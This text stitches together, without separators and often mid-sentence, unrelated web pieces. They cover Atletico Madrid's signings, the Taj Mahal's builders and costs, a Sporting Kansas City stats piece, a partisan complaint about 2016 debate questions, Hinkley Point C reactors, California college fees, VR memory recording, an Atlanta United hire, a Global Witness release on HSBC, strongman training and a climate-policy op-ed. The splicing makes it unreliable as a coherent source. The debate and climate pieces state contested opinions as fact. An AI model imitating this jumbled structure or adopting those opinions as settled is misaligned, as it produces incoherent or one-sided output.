Take another look, too, at the previous night. It was only the second time that Sevilla had been beaten at home in almost 40 games and after Koke and Gabi netted goals and raised eight fingers, the third was scored by substitute Jackson Martinez, who curled in from the edge of the area.
The Colombian is a new signing, Atletico's most expensive player at 35m, and here he was scoring already after being on the pitch for seven minutes. He signed a little over a month ago, having personally confirmed the transfer a month before that, and was presented in front of 20,000 supporters.
"I will bring the new players in depending on the needs of the game and how quickly they adapt," Atletico manager Diego Simeone had said. By signing early, they were given as long as possible to adapt. Speed was important too, particularly when you see the fixture list. In the first 10 weeks, Atletico will face all of Spain's biggest teams in the league: Barcelona, Real Madrid, Sevilla, Valencia and Villarreal.
Despite finalizing most of their business quickly, there have been areas where it hasn't gone entirely as planned. After all, among the departures were Toby Alderweireld, who they had signed only two years ago for €7m, and he left having not succeeded (although the club have made a profit). Meanwhile, Mario Mandzukic has gone a year after he arrived, having been successful in the first half of the season but not in the second, and with Atletico losing money on the operation.
Filipe Luis is back a year after leaving -- they have made a profit there too -- but Atletico weren't able to find an exit for Guilherme Siqueira. The pursuit of Thiago Motta failed despite him publicly declaring his intention to leave Paris Saint-Germain. Atletico did not instigate the departure of Arda Turan to Barcelona and they may miss him, while there could also be concern if they were to suffer a significant injury at centre-back.
Twenty-year-old Jose Gimenez, signed from Danubio two years ago and improving all the time, might be an upgrade on Miranda, who left for Inter while Oliver Torres has returned from Porto and, on the early evidence, is ready now. Antoine Griezmann, who didn't go and says he was never going to, is getting better and better. Diego Godin also stayed, even though Manchester City were prepared to pay his buyout clause. Any doubts about goalkeeper Jan Oblak, signed last season, have gone.
And then there are the signings: Jackson, Yannick Ferreira Carrasco, Luciano Vietto and Filipe Luis are among eight of them. The stylistic shift is striking: aware that the Mandzukic experiment was only a qualified success, Atletico have turned once again to pace and directness, but there will also be variation |
dealt with these headmen only and, therefore, only their names were put on the record while several thousand skilled artisans who actually worked on stone during the construction of Taj Mahal have remained anonymous. Thus, Ata Muhammad and Shakir Muhammad were contractors only, who engaged the stone-cutters and carvers and had the assigned work done by them. Bukhara was their native place, not of the guilds who worked under them.
Ustad ‘Isa Afan di who came from Shiraz was head of the naqshanawis (draftsmen) department for the construction of Taj Mahal. He received Rs.l000/- per month for the men who worked under him. ‘Abdul Haq entitled Amanat Khan Shirazi, himself an expert artist, headed the department of calligraphers. Ran Mal was the garden-designer from Kashmir. Pira was master carpenter from Delhi, Dome-builders worked under Ismail Khan Rumi.
Finial-makers, masons, stone- cutters, carvers and inlayers have been similarly named. Qadir Zaman Khan has been mentioned as dar-har-ek-phan-ustad-e-kamil, an expert of the constructional techniques which included digging and filling of foundations, masonry-work, laying of stones, raising the heavy blocks by ropes and pulleys, handling of the levels, maintenance of drainage and scores of other techniques. Above all, was Muhammad Handif, the Mir-imarat, incharge of the whole construction of Taj Mahal, who managed the purchases and stores recruitment of artisans and labourers and disbursement of wages. He coordinated the whole work.
Building material used in the construction of Taj Mahal
Three type of stones have been used in the construction of Taj Mahal:
The construction of Taj Mahal involves the use of semi precious stones such as Aqiq, Yemeni, FIroza, Lajward, Moonga, Sulaimani, Lahsania, Tamra, Yashab and Pitunia which were used for inlaying during the construction of Taj Mahal; rare and uncommon stones as Tilai, Pai-Zahar, Ajuba, Abri, Khattu, Nakhod and Maknatis which were used in bold inlay and mosaic chiefl on floors, exterior dados and turrets, and common stones as Sang-i-Gwaliori (grey and yellow sand stone).
Sang-i-Surkh (red sandstone), Sang-i-Musa (black state) and Sang-i-Rukham (Sang-i-Marmar, white marble) which were used in foundations and masonry and to finish external faces like Mihrab and Minbar. Red stone was brought from the neighbouring Fatehpur Sikri, Tantpur and Paharpur.
Image Source: plasmacutteradvisor.com
White marble was requisitioned from Makrana (Rajasthan) for the construction of Taj Mahal and was duly paid for, as the three firmans on record show. Semi-precious and rare stones were brought from distant places as Upper Tibet, Kumaon, Jaisalmer, Cambay and Ceylon.
Persian lists give some figures along with the names of stones. e.g. Aqiq 340, Lajward 240, Moonga 147, Sulaimani 559, lahsunia 52, Tamra 398, Ajuba 850, Yashab 54, Pitunia 542 and Maknatis 77. These figures do not denote the number of stones in each case, which would be too little a figure for such a vast project. These figures, in fact, denote a ‘phari or ‘dheri’ each of one cubic zira (=32). It denoted ‘tank’ in case of precious stones.
These lists also provide a theoretical qualitative table used by the Purchase Department to maintain a standard of quality. It must be borne in mind that for making the core or skeleton of the building brick masonry was used in the construction of Taj Mahal with which stone has been reinforced according to the headers-and-stretchers system.
Bricks were locally manufactured and chemically treated for strength and stability. Such ingredients as molasses, batashe, belgiri-water, urad-pulse, curd, jute and kankar were mixed with lime mortar to make it a perfect cementing agent.
Funds for the construction of Taj Mahal
Funds for the construction of Taj Mahal were provided by the Royal Treasury of the Emperor and the Government Treasury of the Province of Agra (subah Akbarabad) and accounts were scrupulously maintained with annas and pies by Lala Rudra Das. Main item of expenditure were the cost of stones and wages paid to the workers.
Cost of every part of the complex has been separately calculated, e.g. the cost of the marble plinth (chhakka) with the four minarets is given Rs. 51,77,674-7 annas 6 pies, of the main tomb Rs. 53,45,361-10-0 and of the Jhajjhari (Mahjar or Muhajjar), or inlaid and jalied white marble curtain around the cenotaphs in the main hall Rs. 4,68,855-2-6. About 50 entries have thus been made and the total cost of the construction of Taj Mahal comes to Rs. 4,18,48,426-7-6. This is besides the cost of 40,000 tolas (466.55 kilograms) of gold supplied by the Royal Treasury.
Cost of doors of wood and brass, brass-chains for repairs gold-plated kalasa and sandalwood coffins (to contain the dead bodies) have also been given. Curiously, we come across costs of three sets of tombstones. So where is the third one?
While two sets exist, the third one seems to have been contained in the central underground chamber which has no been permanently closed up for reasons which are not known to us. It is one of the several mysteries with which the Taj Mahal and its construction are associated.Diego Rubio and Gerso stole the headlines Saturday as Sporting Kansas City celebrated their 100th consecutive MLS sellout at world-class Children’s Mercy Park with a comprehensive 2-0 victory over fellow Western Conference contenders FC Dallas.
Rubio’s vicious volley and Gerso’s sublime strike came late in the first and second halves, respectively, vaulting Manager Peter Vermes’ men back to the top of the West.
But on a night that paid special tribute to the thousands of fans who have made Sporting Kansas City’s milestone sellout streak possible, one player separated himself as the unquestioned man of the match.
Right back Graham Zusi delivered a sterling performance in attack and defense, tallying two assists while contributing to Sporting Kansas City’s league-leading 10th shutout of the regular season. But these numbers do no justice for what the ninth-year veteran accomplished on Saturday night.
As Jason Foster pointed out on Twitter, Zusi did far more than set up goals for Rubio and Gerso. The U.S. international finished with an eye-popping compilation of impressive statistics, making league history in the process.
Graham Zusi vs. FC Dallas on Saturday
2 assists
7 chances created
49 of 50 passes completed (98%)
7 crosses
8 recoveries
3 clearances
2 tackles
So what can we take away from this unprecedented performance? Zusi became the first MLS player in the Opta era (2010-present) with at least two assists, five chances created, 90-percent passing accuracy and two clearances in the same game. That’s not to mention the seven crosses, eight recoveries and two tackles that add further gloss to the two-sided nature of his excellent evening.
In addition to notching this unforeseen single-game feat, Zusi also entered the Sporting Kansas City history books as the club’s game-winning assist leader. His helper to Rubio ultimately proved to be his 24th game-winning assist in the regular season, overtaking Preki for first on the charts.
Sporting KC game-winning assist leaders
(All-time, MLS regular season)
Player GWA Graham Zusi 24 Preki 23 Chris Klein 16 Benny Feilhaber 12 Davy Arnaud
Josh Wolff 10
10
Saturday’s match saw Zusi continue a pattern of success against FC Dallas. It was his first multi-assist match since May 29, 2015, which happened to be a 4-0 thrashing of Oscar Pareja’s men. Since the start of 2011, Zusi’s 10 combined goals and assists against FC Dallas are tied for second-most in MLS competition. He just so happens to be level with teammate Benny Feilhaber on the list.
Goals and assists vs. FC Dallas
(MLS regular season since 2011)
Player G+A Goals Assists Robbie Keane 12 5 7 Benny Feilhaber
Graham Zusi 10
10 4
3 6
7 Fredy Montero
Mauro Rosales 8
8 4
3 4
5
In addition to consistently suffering the wrath of Zusi, FC Dallas endured yet another poor night in its proverbial house of horrors. Yesterday's Till Vodka Stat of the Match illustrates just how turbulent Dallas’ travels to Kansas City have been in recent years.
Lastly, we provide an updated look at Sporting Kansas City’s club-record home undefeated run, which hit 22 regular season games on Saturday. The streak is tied for the fourth-longest in MLS history, and Vermes’ side will have the opportunity to ascend further up the list next month.
Longest home unbeaten runs
(MLS regular season history)The first presidential debate pitting Donald Trump against Hillary Clinton on Sept. 26, kicked off with the topic “achieving prosperity.” Not that you’d ever really know it from the questions asked by moderator Lester Holt.
Multiple polls show that the economy is foremost in voters minds, but the economic segment of the debate failed to dive deep into the state of the U.S. economy. And the tough economic questions were from one side: the left.
Holt, also NBC Nightly News anchor, began the economic questions by saying that there are “two economic realities:” a “record” 6 years of job growth and incomes on the rise after lengthy stagnation, but remaining problems of “significant” income inequality and families living paycheck to paycheck.
That 6-year record has been much touted by the Obama administration, and while true, it obscures the fact that the U.S. still faces a jobs gap of more than 1 million jobs to return just to pre-recession levels, according to The Wall Street Journal. Complaining about income inequality is a common left-wing talking point.
Holt asked Trump a tough question about how the Republican candidate would bring back the jobs to the U.S. he has claimed he will. Holt pressed Trump to answer the question after he failed to say exactly how he would do that.
Later after asking both candidates to defend their respective tax differences (either raising or lowering taxes on the wealthy), he also pressed Trump on something wasn’t truly economic at all. He asked Trump about his unreleased tax returns and added two follow-up questions on the subject.
Clinton did not get any tough economic questions from Holt in the segment. He did not ask her to respond to the fact that more than 300 economists oppose her economic policies as “wrong for America” — even though she cited economists’ claims that Trump’s economic policies would cost jobs. He didn’t even press her about her Wall Street speeches which were a major issue in the Democratic primary.
Holt did not challenge her claims that “trickle-down” economics — a liberal pejorative for supply-side economics — failed. Nor did he press her on any any Obama economic policies that she would continue.
The very day of the debate, more than 300 economists released a letter warning that Clinton’s economic policies would stifle economic growth and be more of the same Obama policies which contributed to the weakest economic recovery since WWII.
The only reference to that dismal record came in one of Trump’s responses.European pressurised reactor will be most powerful in the world but is designed to use less fuel and produce roughly a third less waste than older reactors
Britain’s first new nuclear power station in more than 20 years will contain the industry’s most cutting-edge technology.
Hinkley Point C on the Somerset coast will feature two European pressurised reactors (EPRs) designed to be safer, more reliable and more fuel efficient than anything that has gone before.
The EPR has been developed by the French companies EDF and Areva. A variant of the pressurised water reactor, it will work in the same fundamental way as previous generations of the device: nuclear fission triggers a chain reaction, producing energy. Water is then heated, producing steam that turns turbines and generates electricity.
The technology behind the reactors is meant to be safer than any previous design. Taking lessons from the past – such as 9/11 or the nuclear disaster at Fukushima – EDF claims the EPR is highly resistant to external hazards, with a reinforced core designed to withstand plane crashes, earthquakes and extreme flooding.
They will be the most powerful reactors in the world but use less fuel – and produce about a third less waste – than older reactors. They can operate for longer, with less downtime for maintenance. The reactors will be available for more than 90% of their 60-year life, according to EDF.
In December 2012, after an extensive review, EPRs were approved for use in the UK by the Office for Nuclear Regulation and the Environment Agency, which confirmed that the reactor met strict safety requirements.
But the scale of the reactors and their additional safety features make EPRs highly complex.
Today, not a single EPR reactor operates anywhere in the world. Costs have overrun at the Flamanville nuclear plant in France, which is six years behind schedule. In Finland, where another EPR is planned, the picture is even worse: the Olkiluoto reactor is nearly a decade behind and three times over budget.Community college tuition in California is going up $10 to $46 a unit in May 2012 to offset a $100 million mid-year budget cut from the state.
Full-time students taking 15 units will pay $150 more a semester.
The increase comes after students saw their tuition go up $10 a unit this fall semester.
The news leaves students wondering how they're going to come up with the money.
"I have to see what I can do," said student Joshua Chadwick. "My parents have stepped in more than they used to, which I hate. I'm almost 26. I hate having to go to my parents for money."
The latest $10 fee hike, though, only offsets 1/3 of the $100 million cut.
California Community Colleges Chancellor Jack Scott says many campuses will lose faculty and offer fewer classes.
Student Aundreia Shappelle says community college is now a 4- to 5-year plan.
"The first day of class we have people sitting on the floors, waiting in the halls, praying to get into classes and half of us don't get in," Shappelle said. "You have to push your graduation date even further now."
But the Brown administration points out that while California will lose its distinction as the least-costly community college system in the country, it's still a deal.
"Of the 50 states, even with this $10 increase, we will be No. 49," said H.D. Palmer of the California Finance Department. "Only the state of New Mexico will be lower than California."
Still, some California State University transfer students say community college needs to be cheaper in order to be able to attend a four-year college.
"I've only been at (Sacramento) State for two years. I have $20,000 in student loans. So had that been twice that, there's no way I could have gone without community college," said student Nora Walker.
Fifty-six percent of community college students received tuition waivers for being low income last year. The chancellor's office predicts that could jump to as much as 70% with the $10 fee increase.Virtual reality has been the talk of the entertainment industry for the last couple of years, as the TV, film, gaming, and social media worlds all look to immersive experiences as the next advancement in digital experiences.
But while big budget productions will rake in millions in the coming years, the on-the-ground presence of virtual reality will be about more than studios—it will be about sharing individual experiences and recording personal moments. And that’s maybe not a good thing.
At a recent Cannes Lions Festival appearance, Google VR vice president Clay Bavor said some interesting things about the future of VR, as a way for users to start reliving their own life experiences. It starts with the close connection between memory and experience. “When you look at your brain under an fMRI,” he said, “remembering and experiencing look very similar.”
Bavor talked about how, if your home was on fire, you’d be saving photo albums and hard drives with photos because of their value: the experience. “You can remember someone you love” is how he phrased it, someone “who might be far away or who you’ve lost.”
And for him and the many others writing and developing the VR world, that’s the primary goal: to step back into that memory years later.
Bavor went on to discuss his own experiences with a new prototype camera for recording VR.
“I’ve recorded similar things too, little fleeting moments,” he said. “Sitting with my grandmother in her home. Having breakfast with my son. Here’s the thing: A few years from now, when my grandmother is gone, I’ll be able to sit with her. Twenty years from now, when my son is an adult, I’ll be able to put on some goggles and sit across the breakfast table from him as a little boy.”
Recreating the past is what we do. It’s how we remember what we lost, what we had. It’s how we find inspiration to get through bad times. But being able to call up an experience with the push of a button carries some dangers that memories don’t. We could get lost in the experiences, in an addictive way.
I know that sounds like science fiction, and yes, here’s where the Matrix reference would go. Feel free to make your own associations. But as a counterpoint to the skepticism, the more apt comparison isn’t with that film so much as Vanilla Sky, or perhaps Eternal Sunshine of the Spotless Mind. You know, tales of a virtual world people want to stay inside of.
Oh, and as for the fictional side of all of this, it’s not so farfetched. The question of taking the false for the real got more serious this week, with the announcement that scientists are trying to implant memories in human subjects. There’s your Inception moment.
But back to VR. It could be a good thing. There are benefits to stepping back in time: One can think of many ways this sort of research can help Alzheimer’s patients or those with some form of brain damage to regain their possession of their own mind. It’s not a big leap to think that creating a virtual space to experience the past would help jar someone to access those moments. Plenty of anecdotal cases have shown music and pictures to help.
But what about the recreational side? What happens when flipping through a photo album becomes a multi-hour lounge on the couch? It’s even easier to picture a grieving parent plugging in a headset on the nightstand and never leaving bed—we’ve all known someone who probably wouldn’t have gotten out of a bout of depression had they had access to this kind of technology. Addiction, dependence: The past could easily become the new drug of choice for self-medication.
And say what you will about how technology has affected interpersonal communications—how youth and adolescence have been harmed by an unforgiving internet that remembers everything you do—but imagine how much more embarrassing and difficult life could become to navigate when your peers can literally step into that moment you were embarrassed and relive it over and over for amusement.
As with every technology (and I have found myself saying this near-daily over the last few years) there’s going to be a social cost-benefit problem to work out. Livestreaming became a great justice tool, but it has also played host to horrifying things. The internet gives people a voice, but some hateful voices don’t need to be heard.
As for immersive virtual reality recording, it too will capture our best moments and our worst, depending on who wields the camera.
But at least it will make all those vacation photo albums more interesting.It didn’t take long for Paul McDonough to find a landing place, with Atlanta United announcing Wednesday that they have named him director of soccer operations.
McDonough parted ways last week with Orlando City, where he served as senior vice president of soccer operations.
According to an Atlanta United release, McDonough will report to technical director Carlos Bocanegra and will be significantly involved in the club’s day-to-day soccer operational functions.
With Orlando, McDonough managed operations for the first team and development academy programs, developed and implemented the club’s scouting network and managed player contract negotiations, transfer and loan agreements, helping lead the club to a seventh-place finish in the Eastern Conference in its first MLS season.
Get more Atlanta news at atlutd.com
“We’re very excited to have Paul on board as our director of soccer operations,” Bocanegra said in a statement. “He not only brings valuable experience as a former coach and agent, his familiarity with MLS talent, rules and regulations and the expansion process will serve us well as we begin building our roster. ”
McDonough will officially join Atlanta United on Jan. 4, 2016.Systemic failure to stop money laundering or comply with US laws shows need for sanctions for senior executives at big banks
Click here to read full briefing
The HSBC tax scandal shows that UK law needs to be changed so that senior bankers are held criminally responsible when they oversee their institutions repeatedly breaking the law, said Global Witness today.
In addition to recently leaked documents said to reveal how HSBC’s Swiss arm helped clients hide accounts and evade taxes from 2005-2007, the UK’s biggest bank was fined a record £1.2 billion by the US authorities in 2012 after admitting allowing money laundering by drugs cartels and dealing with pariah states, in violation of US law. It was also accused by a US Senate subcommittee of ignoring terrorist financing concerns. Both cases were presided over by Lord Stephen Green, who served as HSBC CEO from 2003 – 2006 and then Chairman until December 2010, when he left to become UK Minister of State for Trade and Investment.
“HSBC Switzerland’s efforts to help clients hide money and dodge taxes have shocked us all – but they only scratch the surface of the wrongdoing at the bank on Lord Green’s watch. Amongst other failings, HSBC allowed one of Mexico’s biggest drug cartels to launder cash at a time when 35,000 people were killed in Mexico’s drug wars. Lord Green was ultimately responsible for the bank’s compliance, yet he made £20million in performance bonuses during that time, with no public record of any being paid back,” said Stuart McWilliam of Global Witness.
“Sadly Lord Green is not just a “bad apple” – he is the most visible symptom of a much wider malaise, which is born of consistently weak regulation and lack of accountability for senior executives. This has dire consequences for society as a whole – crimes like drug dealing, money laundering and corruption are not possible without a supposedly reputable bank account to hide the money in and provide a smokescreen from the authorities. If we want to clean up the system we need much tougher penalties for those making decisions at big banks when things go this badly wrong – that’s how lessons get learned,” he added.
Lord Green specifically changed his mandate as Chairman to include responsibility for compliance and auditing during this time, ensuring that the buck stopped with him. In addition to the tax allegation, other areas of concern include:
Drug Cartels: In December 2012, HSBC was fined a record £1.2 billion by the US authorities after a deferred prosecution agreement in which it admitting allowing money laundering by drugs cartels and pariah states, in violation of US law. (1) In 2012 a US Senate Committee investigation declared the bank guilty of “severe, widespread and longstanding” deficiencies in its anti-money laundering systems (2), and describing the bank’s culture as “pervasively polluted”.(3) As early as 2005, Green was copied into emails warning about problems with the compliance controls at the Mexican branch of HSBC, including the falsifying of key documents.
Sanctions busting: According to its deferred prosecution agreement with the US Department of Justice HSBC broke US law by permitting $660 million from sanctioned countries (such as Iran, Libya, Burma, and Sudan) to be moved through the American financial system in violation of economic sanctions. (4)
Terror financing risks: The US Senate subcommittee, referred to reports suggesting that a Saudi bank, may have had links to financial organisations associated with terror groups including Al Qaeda. The bank later categorically denied any such links. HSBC reversed a 2005 internal policy to stop doing business with the bank, leaving HSBC Middle East and others to continue to do so, with HSBC US providing physical dollars totalling over $1bn between 2008 and 2010. (5)
Full details of the allegations are available in a new Global Witness briefing, “It’s Not Just Tax”.
/ENDS
Contact: Oliver Courtney +44 (0) 7912 5171147 [email protected]; Stuart McWilliam +44 (0)7711007199 [email protected]
Notes:
1) See the US Department of Justice press release, 11 December 2012
2) See United States Senate Permanent Sub-Committee on Investigations July 2011 report: U.S. Vulnerabilities to Money Laundering, Drugs, and Terrorist Financing: HSBC Case History, p3
3) See US Senate Permanent Subcommittee on Investigation press release “HSBC Exposed U.S. Financial System to Money Laundering, Drug, Terrorist Financing Risks” 16 July 2012
4) See the US Department of Justice Deferred Prosecution Agreement document notes 63 to 67
5) US Senate Permanent Sub-Committee on Investigations report pp6 and 221Block Periodization
A macrocycle refers to a block of training that is longer than a meso or micro cycle. A microcycle refers to a small periodized portion of training, usually a week, that comprises a mesocycle. A mesocycle is a slightly longer block, usually three to six weeks, that acts as a stepping stone for the adaptations you are seeking in your macrocycle. A macrocycle is your treasure map to reach a specific goal that can last anywhere from a few months to two or three years.
These terms refer to a type of programming known as block periodization. Block periodization was born in eastern Europe in the earliest years of sport performance and it propelled sport performance to new heights. This is a highly effective yet intricate method of programming that involves long term vision as well as deep insight into the participants. Of course individualization is a huge part of any program; however, block training has a very real brutality to it. No, not like Mountain Dog brutality, where you cant walk or feel your hands. This is a much slower, soul draining, mentally sapping brutality — the type of brutality that comes from monotony. A true master of a skill is a master of monotony as well. Skill mastery is a key contributed in the success of block periodization. As the athletes advance they become further submerged in their movement patterns and finish the programs more neurally sound than ever before. Block periodization is certainly not for everyone. There are three things you need to have in order before even thinking about using block training.
The first is a baseline level of strength. This is incredibly hard to quantify as a criteria, but if you are still able to progress from linear periodization then you most certainly do not fit the criteria. With the proper baseline level of strength, it is also assumed there is a baseline level of hypertrophy. The participant should not be a beginner and should be able to handle loads over his/her bodyweight. This is not to scare anyone away from block periodization, but I firmly believe in getting the most out of the least. If someone is enough of a novice to make consistent adaptations using low level programming then why expose them to something complicated? Let them adapt until the adaptive process slows, and then progress them. This is a way to ensure long term development as well as preventing overuse injuries.
The next thing you need in order to make block periodization work for you is sport specific skill. This is also difficult to quantify. As a coach, we have few objective measures to quantify sport specific skill; much of it relies on the coaches eyes. A certain level of proficient sport specific skill should be developed before embarking on the program. This is partly because of the type of progression scheme used in block periodization, that I will discuss in further detail later. It is also because block periodization emphasizes peaking. If the sport specific skills are not concrete, they will begin to falter early in the program, rendering your peak inefficient.
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Finally, time is the most important factor you need to utilize block periodization to the fullest. The participant will spend anywhere from four to eight weeks, maybe more, in each block as they transgress through the program. Macrocycles can last up to a year depending on the frequency of competition and the participants goals.
These three prerequisites must be met before considering if block periodization is right for you. The next step is to objectively analyze yourself. This type of periodization gives you the same repeated stimulus over and over for weeks on end. This is not the type of program where you deload every four weeks. It has minimal variance day to day. When participating in a program that is so demanding, recovery and stress management are imperative. If you work a very high stress job, have unstable nutrition, do not hold training as a major priority, or are mentally weak, block periodization may not be for you. To give a comparison, a common block style program is Smolov, which many of you are familiar with. Not all block periodization is like Smolov style programming, but they are part of the same family and share many characteristics.
The Sport of Strongman
Strongman is a unique sport. Every competition is different, there are a seemingly infinite amount of events, and you are unsure of the events until eight to ten weeks before the competition. The events are up to the promoter and the odds that you will ever do the same events twice are slim to none. The feats in strongman are nothing short of spectacular. We have seen over 500 pounds placed overhead, over 1000 pounds deadlifted, and over 500-pound stones be lifted to platforms — all while including moving events to test the athletes speed and athleticism.
The history of the sport can be traced back to the 19th century. Famous events like the Thomas Inch Dumbbell, the Cyr Dumbbell, and the Apollon’s Axle are some of the oldest and most famous events that are still used today. Some of the original strongmen were circus performers who displayed acts of strength including those that are no longer used today, such as the bent press.
Even today, the sport is alive and growing. There are high level competitions around the world year-round and we are seeing the sport pushed to new heights yearly. Although the variety of visually impressing events is what brings people to the sport, the community is what makes people fall in love. There is an incredibly supportive community around the sport that pushes the competitors to constantly progress. It is not uncommon to see competitors training together or to see your competitor cheering you on. Due to the uniqueness of the sport, it may be difficult to train events at your local gym. However, social media makes it easier than ever to find a strongman group to train with.
Competing in a sport where you never know the events ahead of time can be difficult. However there is a general template that fits almost all competitions. In 90% of competitions there will be five events, the other 10% include top tier shows that may have 6-7 spread over the course of two days. The top tier shows are less conventional but still follow the typical template. There will always be some type of press, moving event, hip dominant lift, and loading event. As you may have noticed, that is only four categories of events, leaving one open spot. Most commonly you’ll see two moving events, but it is not unheard of to have two pressing events or two loading events. There will almost never be two hip dominant movements.
In competitions, the rules are often up to the promoter, so be sure to read the entry form thoroughly. A major rule that applies to all repetition-based events is lockout and down command. Any event where reps are counted there will be a down command. The battle for the down command starts when the athlete shows control over the implement and all appendages involved in the movement are locked out. Once locked out and demonstrating control, the judge will give you the down command. This gives you official credit for the rep. It is incredibly effective to make eye contact with the judge right away, stare deep into their souls, and try to make them a bit uncomfortable. You’ll get the down command faster.
As far as moving events go, the rules waver based on the event and promoter. The most important rules to be aware of are sliding penalties and crossing the finish line. Slide penalties are when the implement is dropped and slides for several feet meaning the athlete has less distance to ultimately cover. This results in a two-second addition to your time and can really hurt your score if you are trying to be competitive. Some events only require the front of the implement to cross the finish line, some the back. However, always take the implement clearly past the line regardless of the rule. Do not leave it up to the judge's discretion if you crossed or not. This is the worst time to suffer a slide penalty, or worse, they make you go back and try to finish. This is worst case scenario: you think you are done and walk away, just to find out you have to get back under that 700 yoke to budge it four inches. Meanwhile the clock is still running.
Loading and odd object carrying events have a blend of the rules listed above depending on the type of event, which is again, up to the promoter. When completing a medley or loading to a platform, the most important rule is to get your hands off the implement and leave it in a stable condition to stop the clock. Making sure the implement is in stable condition is the most important. It's better to spend half a second making sure it's not going to fall over than to rush to get your hands off and have to redo the rep or stand it up. Strongman is about clean and efficient movements, not rushed and haphazard mistakes.
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Pressing is one of the most iconic strongman events, with good reason: it's awesome. It is incredibly uncommon to have anything “normal” pressed overhead. The most common implements are log, circus dumbbell, axle, keg and (the less common) block press. Any of these implements can be thrown into a medley together. Medleys have variety within themselves as well. They can be completed for time, the last implement can be for max reps, and I have even seen medleys being completed for multiple rounds. If you are not pressing in a medley, there are three main variations: clean once and press away, clean and press each rep, and my personal favorite, the max clean and press. This offers plenty of variation, so you can imagine how difficult it can be to master them all.
Hip dominant events are guaranteed to be in every single show. They can include: deadlift off the floor, deadlift from 12 inches, deadlift from 18 inches, Hummer tire deadlift, max reps, medley, axle bar deadlift, car deadlift, wheelbarrow deadlift, tire flip, squat lift, and keg toss. The medley will typically contain multiple implements to deadlift. Deadlifts are most common and can be varied in dozens of different ways each with their own unique twist. Using an axle bar to deadlift is much different than using a standard barbell; car deadlift is completely different than wheelbarrow deadlift. Hip dominant events tend to be either the competitor's wheelhouse or Achille's heel.
Moving events may be the most variable event in the sport. There can be an infinite amount of potential events, spanning from 50-60 feet straightaways to medleys where you cover over 150 feet and every where in between. Moving events have the unique variant known as the carry and load. I group this with moving events because it is much more movement-based than loading-based. The athlete typically must carry two to four implements and load them over a bar or to a platform. These are exciting events and the implements are usually a keg, stone, or sandbag. However, it is not unheard of to have something like an I-beam in a medley. Any moving events can involve unconventional implements like duck walk, Conan’s wheel, hussafel stone, anchor/chain drag, zercher carry, frame carry, odd object, natural stone, yoke, farmers, and many more.
Finally, the loading events. These are the events on ESPN that got strongman its image; “the fat guys who lift giant rocks.” Although stones are the most common loading event, there are plenty of others. Stones can be varied into a few different events: stone carry and load, stone over bar, max stone (for weight or height), stone series, and stone to shoulder. It is not uncommon to have keg over bar or keg carry and load or a sandbag model of either. These events are all characterized by picking an object off the ground and loading it via triple extension.
The Strongman Training Perspective
The reason I went through and defined every type of event and its potential variables is to allow you to more fully understand how to look at strongman training. With the sheer amount of potential events alone, it would take well over a month of just training events to hit each one just once. Furthermore, if you're in the sport, you know how much just a few sets of intense event training can take out of you. So what are you to do? One approach could be to cycle through popular events: log, axle or DB press; yoke, farmers or some type of anterior carry; deadlift; and stones. The issue you then run into is cycling through events or dedicating your entire training week to events. What about not hitting events until a contest, then focusing on those events? That is a better method to follow but again, how do you properly |
the 1.5-degree limit should be removed from the text. Trouble was, it is complete bunkum.
In 1836, Charles Darwin hypothesized that coral atolls such as the Maldives had been formed by subsidence of the ocean bed with “extreme slowness” and built up by corals. “Darwin was right — and oddly hurricanes may be a good thing in piling up debris inside islands,” environmental activist and former Nasheed adviser Mark Lynas tweeted last year.
Having decided on the 1.5-degree goal, the politicians wanted the gloss of scientific respectability. So last year’s Paris Climate Conference invited the Intergovernmental Panel on Climate Change (IPCC) to “provide a special report in 2018 on the impacts of global warming of 1.5 degrees C above pre-industrial levels and related greenhouse gas emission pathways.” What politicians command, scientists will deliver — at the cost of the corruption of science. As a 2015 “expert dialogue” conducted by the U.N. climate-change subsidiary body on scientific and technological advice noted, the scientific literature on the risks and impacts of 1.5-degree warming was “ limited.” Applying the more stringent target was virtually cost-free, the U.N. experts claimed, as it would “only marginally delay, but not sacrifice, economic growth,” an opinion that shows the general worthlessness of U.N. climate experts.
Hitting the target on the basis of bog-standard IPCC science depends on achieving large negative emissions by the middle of this century. In September, at a conference in Oxford on the 1.5-degree target, energy expert and former U.K.-government adviser Michael Grubb of University College London suggested that politicians would need to take extraordinary measures to ensure the uptake of negative-emission technologies. Should global society be put on a war footing? Professor Grubb asked. It was an analogy worth exploring, responded Achim Steiner, who headed the United Nations Environment Programme for a decade until June of this year.
Actually, the 1.5-degree target is highly problematic for the UN climate-change process. If technology ever made it economic to pull carbon dioxide directly from the air, then the rationale for cutting emissions would vastly diminish. But without negative emissions, the only way the target will be hit is if the climate sensitivity to carbon dioxide (the temperature increase from doubling the amount of CO2 in the atmosphere) is low, which observations tend to suggest is the case. Either way, the U.N. just killed off the justification for draconian emissions cuts.
Money is at the heart of the U.N. climate-change process. At the 2009 Copenhagen climate conference, Hillary Clinton promised $100 billion of annual climate aid beginning in 2020. To protect her 2016 election prospects, last year in Paris, John Kerry got the commitment of $100 billion a year removed from the treaty text and relegated to a conference decision, and he got the start date pushed to 2025. With the presidential election out of the way, last month’s Marrakech conference brought the start year back to 2020
Money also distorts what the world is being told about global trends in energy policy. The International Energy Agency (IEA) has become the energy equivalent of the IPCC. The IEA’s statistics are widely regarded as authoritative. But its key messages for policymakers are that of a green campaigning organization. Deep in its World Energy Outlook 2016, the IEA projects in its “New Policies Scenario” that over the next 35 years, the amount of electricity the Chinese will produce from coal will increase by 4.3 percent but that the amount of coal they will use to generate that electricity will fall by 4.6 percent.
Money also distorts what the world is being told about global trends in energy policy.
How can this be? China, along with Japan and South Korea, is leading the world in adopting the latest super-critical and ultra-super-critical low-emission-coal technology. It operates at much higher temperatures and pressures, and the efficiency of turning coal into electricity is increased by up to 30 percent, enabling new-technology power stations to generate more electricity while emitting less CO2 and pollutants such as particulates, sulfur dioxide, and nitrogen oxides. The conundrum of how a coal-based economy such as China’s expects to see its emissions peak in 2030 can thus be explained. While President Obama’s EPA wants to force the U.S. to turn its back on coal, China is harnessing technology to make its coal-fired power stations more efficient and, at the same time, improve local air quality.
Not that this forms part of the IEA’s key messages. Under Fatih Birol, the agency’s executive director and, before that, its chief economist, the IEA has become a cheerleader for renewables. Birol set out his stall in a September 2015 interview with Politico shortly after stepping up to his new role:
The silver-haired Turk repeatedly shifts the conversation to his plans to turn the Paris-based organization that was originally founded to help the developed world combat OPEC’s oil-market power into “an international hub on clean energy.” “We are one of the biggest promoters of renewable energies,” he said in the interview.
Indeed, Birol has doubled up his role as vocal advocate of renewables through his appointment to the Patronage Committee of myclimate, a Swiss-based carbon-offset company. myclimate
